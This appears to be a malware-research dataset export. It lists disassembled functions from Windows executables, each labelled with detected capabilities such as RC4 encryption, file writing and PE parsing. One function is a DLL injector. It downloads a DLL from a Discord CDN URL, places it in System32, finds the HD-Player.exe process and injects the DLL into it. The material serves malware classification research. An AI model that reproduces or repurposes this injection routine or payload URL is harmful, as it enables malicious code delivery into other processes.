joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000edb0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov rdi, rdx
mov rsi, rcx
movzx ebp, byte [rdx + 0x38]
cmp bpl, 1
ja 0x14000ee0d
movzx ebx, byte [rdi + 0x3a]
mov rcx, rdi
call fcn.14000ec90
test bpl, bpl
jne 0x14000ee11
lea rcx, [rdi + 0x10]
xor r8d, r8d
cmp byte [rdi + 0x10], 6
cmove rcx, r8
je case.0x14000ee01.2
movzx edx, byte [rcx]
mov r8d, 6
lea r9, [0x14000ef84]
movsxd rdx, dword [r9 + rdx*4]
add rdx, r9
jmp rdx
mov r8, qword [rcx + 0x10]
add r8, 4
jmp case.0x14000ee01.2
xor eax, eax
xor ebx, ebx
xor r8d, r8d
movzx r10d, bl
movzx ebx, al
lea rcx, [r10 + rbx]
add rcx, r8
mov rdx, qword [rdi + 8]
cmp rdx, rcx
jb 0x14000ef68
mov r11, qword [rdi]
lea rax, [r11 + rcx]
cmp rdx, rcx
jne 0x14000ee48
movzx r9d, byte [rdi + 0x10]
xor r10d, r10d
jmp 0x14000eec9
movzx r9d, byte [rdi + 0x10]
add r8, rbx
add r8, r10
sub r8, rdx
inc r8
lea rdi, [rdx + r11]
dec rdi
xor r10d, r10d
cmp r9b, 3
jae 0x14000ee90
nop dword [rax]
cmp byte [rdi], 0x5c
je 0x14000eeab
inc r8
dec rdi
cmp r8, 1
jne 0x14000ee70
jmp 0x14000eec9
movzx ebx, byte [rdi]
cmp ebx, 0x2f
je 0x14000eeab
cmp ebx, 0x5c
je 0x14000eeab
inc r8
dec rdi
cmp r8, 1
jne 0x14000ee90
jmp 0x14000eec9
neg r8
add rcx, r8
inc rcx
cmp rdx, rcx
jb 0x14000ef76
add r11, rcx
mov r10d, 1
mov rax, r11
sub rdx, rcx
je 0x14000eef2
mov cl, 9
cmp rdx, 2
je 0x14000eef6
cmp rdx, 1
jne 0x14000ef05
cmp byte [rax], 0x2e
jne 0x14000ef05
xor ecx, ecx
cmp r9b, 3
setae cl
lea ecx, [rcx + rcx*2]
add ecx, 7
jmp 0x14000ef05
mov cl, 0xa
jmp 0x14000ef05
cmp byte [rax], 0x2e
jne 0x14000ef05
cmp byte [rax + 1], 0x2e
sete cl
xor cl, 9
add r10, rdx
mov qword [rsi], r10
mov byte [rsi + 8], cl
mov qword [rsi + 0x10], rax
mov qword [rsi + 0x18], rdx
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
ret
mov rdx, qword [rcx + 0x10]
mov rcx, qword [rcx + 0x20]
lea r8, [rcx + 1]
test rcx, rcx
cmove r8, rcx
add r8, rdx
add r8, 8
jmp case.0x14000ee01.2
mov rdx, qword [rcx + 0x10]
mov rcx, qword [rcx + 0x20]
lea r8, [rcx + 1]
test rcx, rcx
cmove r8, rcx
add r8, rdx
add r8, 2
jmp case.0x14000ee01.2
mov r8d, 2
jmp case.0x14000ee01.2
lea r8, str.library_std_srcpath.rs
call fcn.14002a050
ud2
lea r8, str.library_std_srcpath.rs
call fcn.14002a050
ud2
Function at 0x140013710
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
mov rdi, rdx
mov rsi, rcx
mov rcx, qword [rsp + 0xe0]
movups xmm0, xmmword [0x140032e68]
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
test rcx, rcx
je 0x140013754
mov rdx, qword [rsp + 0xe8]
mov qword [rsp + 0x80], rdx
test rcx, rcx
mov qword [rsp + 0x78], rcx
lea rdx, [rsp + 0x80]
cmove rdx, rcx
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rdi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x1400137ba
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0x103
je 0x1400137f1
test eax, eax
js 0x1400137cb
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x1400137e4
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
add rsp, 0xa8
pop rdi
pop rsi
ret
mov byte [rsp + 0x5c], 0
mov dword [rsp + 0x58], 0
lea rax, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x78]
call fcn.14000e060
mov rcx, rax
call fcn.1400088f0
mov ecx, 7
int 0x29
ud2
Function at 0x140025e60
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test r8, r8
je 0x140025eda
mov rax, rdx
mov rdx, qword [rsp + 0x70]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x140025ed0
cmp r10, r11
jb 0x140025f73
cmp r10, rdx
ja 0x140025f87
add r11, r9
xor ebx, ebx
nop dword [rax]
cmp rdi, rbx
je 0x140025ed2
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x140025eb0
jmp 0x140025f47
ja 0x140025eda
mov r11, r10
cmp rax, r8
jne 0x140025e82
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x140025f4b
mov r8, qword [rsp + 0x78]
add rdx, r8
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x140025f20
mov r8, r10
sub ecx, r9d
jns 0x140025f3e
jmp 0x140025f4d
cmp r10, rdx
je 0x140025f59
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x140025f4d
xor al, 1
cmp r8, rdx
jne 0x140025f00
jmp 0x140025f4d
xor eax, eax
jmp 0x140025f4d
mov al, 1
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.called__Option::unwrap____on_a__None__valueassertion_failed:__buf.is_empty__
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.140029c40
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.14002a150
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.14002a0d0
ud2
Function at 0x140011276
Capabilities:
Terminate process

Disassembly:
jmp 0x140013fe0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140011311
Capabilities:
Download url
Enumerate processes
Receive data

Disassembly:
jmp 0x140012850
push rbp
push rdi
sub rsp, 0x4d8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0xca
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001f008]
xor rax, rbp
mov qword [rbp + 0x498], rax
lea rcx, [0x1400250f4]
call fcn.140011438
lea rax, str.HD_Player.exe
mov qword [rbp + 8], rax
lea rax, str.https:__cdn.discordapp.com_attachments_1140792625193037845_1186317902056542329_ChamsBlueS3k.dll_ex6592cfa4is65805aa4hmf1341e4d35b2f29154161d5ee9034e16dab065a6fda2bb0c549495a478f8dac4
mov qword [rbp + 0x28], rax
lea rax, [0x14001bf98]
mov qword [rbp + 0x48], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x48]
mov rdx, qword [rbp + 0x28]
xor ecx, ecx
call fcn.14001110e
mov dword [rbp + 0x64], eax
lea rax, str.C:WindowsSystem32ChamsBlueS3k.dll
mov qword [rbp + 0x88], rax
mov dword [rbp + 0xb0], 0x238
xor edx, edx
mov ecx, 2
call fcn.14001120d
mov qword [rbp + 0x308], rax
lea rdx, [rbp + 0xb0]
mov rcx, qword [rbp + 0x308]
call fcn.1400112b2
cmp eax, 1
jne 0x1400129a6
lea rdx, [rbp + 0xb0]
mov rcx, qword [rbp + 0x308]
call fcn.1400113e3
cmp eax, 1
jne 0x1400129a6
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0xdc]
call qword [sym.imp.ucrtbased.dll__wcsicmp]
test eax, eax
jne 0x1400129a1
lea rdx, str.HD_Player_process_found._Injecting_DLL...
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011091
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, qword [rbp + 0x88]
mov ecx, dword [rbp + 0xb8]
call fcn.14001145b
movzx eax, al
test eax, eax
je 0x14001299f
lea rdx, str.DLL_injected_successfully_
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011091
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400129a6
jmp 0x140012913
mov rcx, qword [rbp + 0x308]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001bd00]
call fcn.1400113bb
mov eax, edi
mov rcx, qword [rbp + 0x498]
xor rcx, rbp
call fcn.140011221
lea rsp, [rbp + 0x4a8]
pop rdi
pop rbp
ret
Function at 0x14001131b
Capabilities:
Parse pe header

Disassembly:
jmp 0x140015330
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140015350
xor al, al
jmp 0x1400153d1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140015363
xor al, al
jmp 0x1400153d1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001538d
xor al, al
jmp 0x1400153d1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400153a1
xor al, al
jmp 0x1400153d1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400153b3
xor al, al
jmp 0x1400153d1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400153cf
xor al, al
jmp 0x1400153d1
mov al, 1
add rsp, 0x38
ret
Function at 0x1400020b0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x1400020e3
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rcx, rax
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x14000212a
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, eax
add rcx, rbx
and edi, 0xf
jbe 0x140002125
nop
cmp rbx, rcx
jae 0x14000212a
movzx eax, word [rbx]
lea rbx, [rbx + rax*2]
add rbx, 2
add edi, 0xffffffff
jne 0x140002110
cmp rbx, rcx
jb 0x14000212e
xor eax, eax
jmp 0x14000213a
xor eax, eax
cmp word [rbx], ax
cmove rbx, rax
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140005710
Capabilities:
Read file on windows

Disassembly:
push rdi
push r14
push r15
sub rsp, 0x40
mov r9, qword [rcx]
mov r15, rdx
movsxd rdx, dword [rcx + 0xc]
mov rdi, rcx
mov rcx, r15
mov r8d, 1
call fcn.14003fa58
mov ecx, dword [rdi + 0xc]
cmp rax, 1
mov eax, ecx
sete r14b
cdq
idiv dword [rdi + 0x1c]
mov dword [rdi + 0x20], eax
test r14b, r14b
je 0x1400058d0
add dword [rdi + 0x18], ecx
lea rdx, str.read
mov r8, qword [rdi + 0x30]
lea rcx, [rdi + 0x28]
mov qword [rsp + 0x60], rbx
mov r9d, 0x18
mov qword [rsp + 0x68], rbp
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x28], 0xffffffff
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x20], eax
call fcn.140003730
mov ebp, dword [rdi + 0x20]
xor r9d, r9d
mov ecx, dword [rdi + 0x1c]
xor esi, esi
mov rbx, r15
mov r12d, ecx
test ebp, ebp
je 0x140005853
nop dword [rax]
dec ebp
xor eax, eax
cmp r12d, 1
jne 0x1400057be
cmp byte [rbx], al
jmp 0x1400057c1
cmp word [rbx], ax
sete al
test eax, eax
je 0x1400057f6
test r9, r9
je 0x1400057ec
cmp rbx, r9
je 0x1400057ec
imul ecx, esi
mov r8, rbx
sub r8, r9
mov rdx, r9
movsxd rax, ecx
mov rcx, r9
sub rcx, rax
call fcn.1400399a0
movsxd rcx, dword [rdi + 0x1c]
inc esi
lea r9, [rbx + rcx]
movsxd rax, ecx
add rbx, rax
test ebp, ebp
jne 0x1400057b0
test r9, r9
je 0x140005827
cmp rbx, r9
je 0x140005827
mov eax, dword [rdi + 0x1c]
mov rcx, r9
imul eax, esi
sub rbx, r9
mov r8, rbx
movsxd rdx, eax
sub rcx, rdx
mov rdx, r9
call fcn.1400399a0
test esi, esi
je 0x140005853
mov dword [rsp + 0x28], 0xffffffff
lea rdx, str.nulls_removed
mov r9d, 1
mov dword [rsp + 0x20], esi
xor r8d, r8d
lea rcx, [rdi + 0x28]
call fcn.140003730
sub dword [rdi + 0x20], esi
cmp dword [rdi + 0x1c], 1
mov r12, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
jle 0x1400058bd
test byte [rdi + 8], 0x80
je 0x1400058bd
movsxd r8, dword [rdi + 0x20]
test r8, r8
je 0x140005897
nop dword [rax]
movzx edx, word [r15 + r8*2 - 2]
dec r8
rol dx, 8
mov word [r15 + r8*2], dx
test r8, r8
jne 0x140005880
mov dword [rsp + 0x28], 0xffffffff
lea rdx, str.endian_swap
xor r9d, r9d
mov dword [rsp + 0x20], 0xffffffff
xor r8d, r8d
lea rcx, [rdi + 0x28]
call fcn.140003730
movzx eax, r14b
mov r13, qword [rsp + 0x30]
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
mov rcx, rdi
call fcn.1400054a0
movzx eax, r14b
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
Function at 0x140005f00
Capabilities:
Write file on windows

Disassembly:
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x90
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rsp + 0xd8], rbx
mov rbp, r8
mov rdi, rcx
movsxd rcx, dword [rcx + 0x20]
mov eax, dword [rdi + 0x1c]
imul eax, ecx
mov dword [rdi + 0xc], eax
test r8, r8
cmove rbp, rdx
xor esi, esi
or r15, 0xffffffffffffffff
test byte [rdi + 8], 0x80
je 0x1400060bf
test rdx, rdx
jne 0x140005f7f
mov eax, 2
mul rcx
cmovo rax, r15
mov rcx, rax
call fcn.140015264
mov rsi, rax
mov ecx, dword [rdi + 0x20]
add ecx, ecx
movsxd r8, ecx
mov rdx, rbp
mov rcx, rax
call fcn.1400399a0
mov rdx, rsi
mov rbp, rsi
movsxd rcx, dword [rdi + 0x20]
test rcx, rcx
je 0x140005fa4
nop dword [rax + rax]
dec rcx
movzx eax, word [rdx + rcx*2]
rol ax, 8
mov word [rdx + rcx*2], ax
test rcx, rcx
jne 0x140005f90
mov rbx, qword [rdi + 0x28]
cmp dword [rbx - 0x10], 0x3e8
jge 0x1400060bf
mov qword [rsp + 0x38], rbx
call fcn.140015cb0
mov rcx, rax
test rax, rax
jne 0x140005fd2
mov ecx, 0x80004005
call fcn.1400026e0
int3
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x40], rax
call fcn.140015cb0
mov rcx, rax
test rax, rax
jne 0x140005ff9
mov ecx, 0x80004005
call fcn.1400026e0
int3
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x40]
call fcn.140008fe0
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.140007670
nop
mov r9d, 2
lea r8, [0x1400679f8]
lea rdx, str.endian_swap
lea rcx, [rsp + 0x40]
call fcn.14000b090
lea rdx, [rsp + 0x40]
lea rcx, [rdi + 0x28]
call fcn.140003360
nop
mov rcx, qword [rsp + 0x80]
test rcx, rcx
je 0x14000605f
call fcn.1400075f0
mov rbx, qword [rsp + 0x88]
test rbx, rbx
je 0x140006081
mov rcx, rbx
call fcn.1400047b0
mov edx, 0x10
mov rcx, rbx
call fcn.140001ed0
mov rdx, qword [rsp + 0x48]
add rdx, 0xffffffffffffffe8
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1400060a0
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1400060bf
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
movsxd rdx, dword [rdi + 0xc]
mov r9, qword [rdi]
mov r8d, 1
mov rcx, rbp
call fcn.14003fd60
cmp rax, 1
sete bl
test rsi, rsi
je 0x1400060e8
mov rcx, rsi
call fcn.14001525c
test bl, bl
je 0x14000611a
mov eax, dword [rdi + 0xc]
add dword [rdi + 0x18], eax
lea rcx, [rdi + 0x28]
mov dword [rsp + 0x28], r15d
mov eax, dword [rdi + 0x20]
mov dword [rsp + 0x20], eax
mov r9d, 0x18
mov r8, qword [rdi + 0x30]
lea rdx, str.write
call fcn.140003730
jmp 0x140006122
mov rcx, rdi
call fcn.1400054a0
movzx eax, bl
mov rbx, qword [rsp + 0xd8]
add rsp, 0x90
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x140010440
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 0x10], rdx
push rbx
sub rsp, 0x50
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
xor eax, eax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
xor edx, edx
mov ecx, 0x1100
mov r9d, 0x400
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
call fcn.140015cb0
mov rcx, rax
test rax, rax
jne 0x14001049f
mov ecx, 0x80004005
call fcn.1400026e0
int3
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov r9, qword [rsp + 0x78]
lea rdx, str.error__d_n_s
lea rcx, [rsp + 0x70]
call fcn.140002080
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
call fcn.140001ee0
lea rdx, [rax + 0x18]
mov qword [rsp + 0x68], rdx
lea rax, [rsp + 0x68]
mov qword [rsp + 0x48], rax
cmp dword [rbx + 0x244], 0
jne 0x1400104f9
jmp 0x140010518
call fcn.140016960
xor r9d, r9d
mov r8, qword [rax + 0x20]
mov rdx, qword [rsp + 0x68]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140010532
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_LocalFree]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x140014190
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov r14d, r8d
mov r15, rcx
mov rdi, r9
mov rbp, rdx
lea eax, [r14 + 1]
mov ecx, eax
mov ebx, eax
call fcn.140015264
mov r8d, ebx
xor edx, edx
mov rcx, rax
mov rsi, rax
call fcn.14003a130
or r8, 0xffffffffffffffff
inc r8
cmp byte [rdi + r8], 0
jne 0x1400141d5
xor r9d, r9d
lea r10, [r15 + 0x40]
nop word [rax + rax]
xor edx, edx
lea r10, [r10 + 1]
mov eax, r9d
div r8d
movzx eax, byte [rdx + rdi]
mov byte [r10 - 1], r9b
inc r9d
mov byte [r10 + 0xff], al
cmp r9d, 0xff
jle 0x1400141f0
xor r9b, r9b
lea r8, [r15 + 0x40]
mov r10d, 0x100
nop dword [rax]
nop dword [rax + rax]
movzx edx, byte [r8]
movzx eax, byte [r8 + 0x100]
lea r8, [r8 + 1]
add al, dl
add r9b, al
movzx ecx, r9b
movzx eax, byte [rcx + r15 + 0x40]
mov byte [r8 - 1], al
mov byte [rcx + r15 + 0x40], dl
sub r10, 1
jne 0x140014230
xor bl, bl
test r14d, r14d
je 0x1400142b8
mov r9, rsi
sub rbp, rsi
mov rdi, r14
nop
inc r10b
lea r9, [r9 + 1]
movzx edx, r10b
movzx r8d, byte [rdx + r15 + 0x40]
add bl, r8b
movzx ecx, bl
movzx eax, byte [rcx + r15 + 0x40]
mov byte [rdx + r15 + 0x40], al
mov byte [rcx + r15 + 0x40], r8b
movzx ecx, byte [rdx + r15 + 0x40]
add rcx, r8
movzx eax, cl
movzx ecx, byte [rax + r15 + 0x40]
xor cl, byte [r9 + rbp - 1]
mov byte [r9 - 1], cl
sub rdi, 1
jne 0x140014270
mov rbx, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
Function at 0x140014cb0
Capabilities:
Accept command line arguments

Disassembly:
push rbx
push rbp
sub rsp, 0x38
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xor r9d, r9d
mov r8, rbx
mov rcx, rax
xor edx, edx
call fcn.140027584
test eax, eax
jne 0x140014cf4
lea rcx, str.Fatal_Error:_MFC_initialization_failed_n
call fcn.140014eb0
mov eax, 1
add rsp, 0x38
pop rbp
pop rbx
ret
xor ecx, ecx
mov qword [rsp + 0x50], rsi
call qword [sym.imp.ole32.dll_CoInitialize]
mov ecx, 0x2c0
call fcn.140015208
test rax, rax
je 0x140014d1d
mov rcx, rax
call fcn.14000fa40
mov rsi, rax
jmp 0x140014d1f
xor esi, esi
mov qword [rsp + 0x58], rdi
mov ebp, 1
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x30], r15
call fcn.140040470
cmp dword [rax], ebp
jle 0x140014e3e
lea r14d, [rbp + 7]
lea r15, str.____
nop dword [rax + rax]
call fcn.140040478
mov rcx, qword [rax]
mov rdi, qword [r14 + rcx]
call fcn.140015cb0
test rax, rax
je 0x140014ea0
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x18]
lea rbx, [rax + 0x18]
mov qword [rsp + 0x20], rbx
test rdi, rdi
je 0x140014dbc
test rdi, 0xffffffffffff0000
jne 0x140014dab
movzx edi, di
mov ecx, edi
call fcn.14001633c
test rax, rax
je 0x140014dd3
mov r8d, edi
lea rcx, [rsp + 0x20]
mov rdx, rax
call fcn.140002150
jmp 0x140014dce
or rax, 0xffffffffffffffff
nop
inc rax
cmp word [rdi + rax*2], 0
jne 0x140014db0
jmp 0x140014dbe
xor eax, eax
mov r8d, eax
lea rcx, [rsp + 0x20]
mov rdx, rdi
call fcn.140002550
mov rbx, qword [rsp + 0x20]
cmp qword [rsi + 0x2a8], 0
jne 0x140014dfe
xor ecx, ecx
nop
movzx eax, word [rbx + rcx*2]
inc rcx
cmp ax, word [r15 + rcx*2 - 2]
jne 0x140014dfe
cmp rcx, 8
jne 0x140014de0
mov byte [rsi + 0x240], 1
jmp 0x140014e11
lea rcx, [rsi + 0x298]
mov r8, rbx
mov rdx, qword [rcx + 0x10]
call fcn.1400158f4
lea rdx, [rbx - 0x18]
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140014e2b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
inc ebp
add r14, 8
call fcn.140040470
cmp ebp, dword [rax]
jl 0x140014d50
mov rcx, rsi
call fcn.140010900
cmp byte [rsi + 0x240], 0
jne 0x140014e73
mov rax, qword [rsi + 0x260]
cmp dword [rax - 0x10], 0
je 0x140014e73
mov rax, qword [rsi + 0x268]
cmp dword [rax - 0x10], 0
je 0x140014e73
mov rcx, rsi
call fcn.140010550
jmp 0x140014e85
call fcn.14000bf80
mov rcx, rax
mov rdx, rsi
call fcn.14000c2c0
xor eax, eax
mov r14, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x58]
mov r15, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x50]
add rsp, 0x38
pop rbp
pop rbx
ret
mov ecx, 0x80004005
call fcn.1400026e0
int3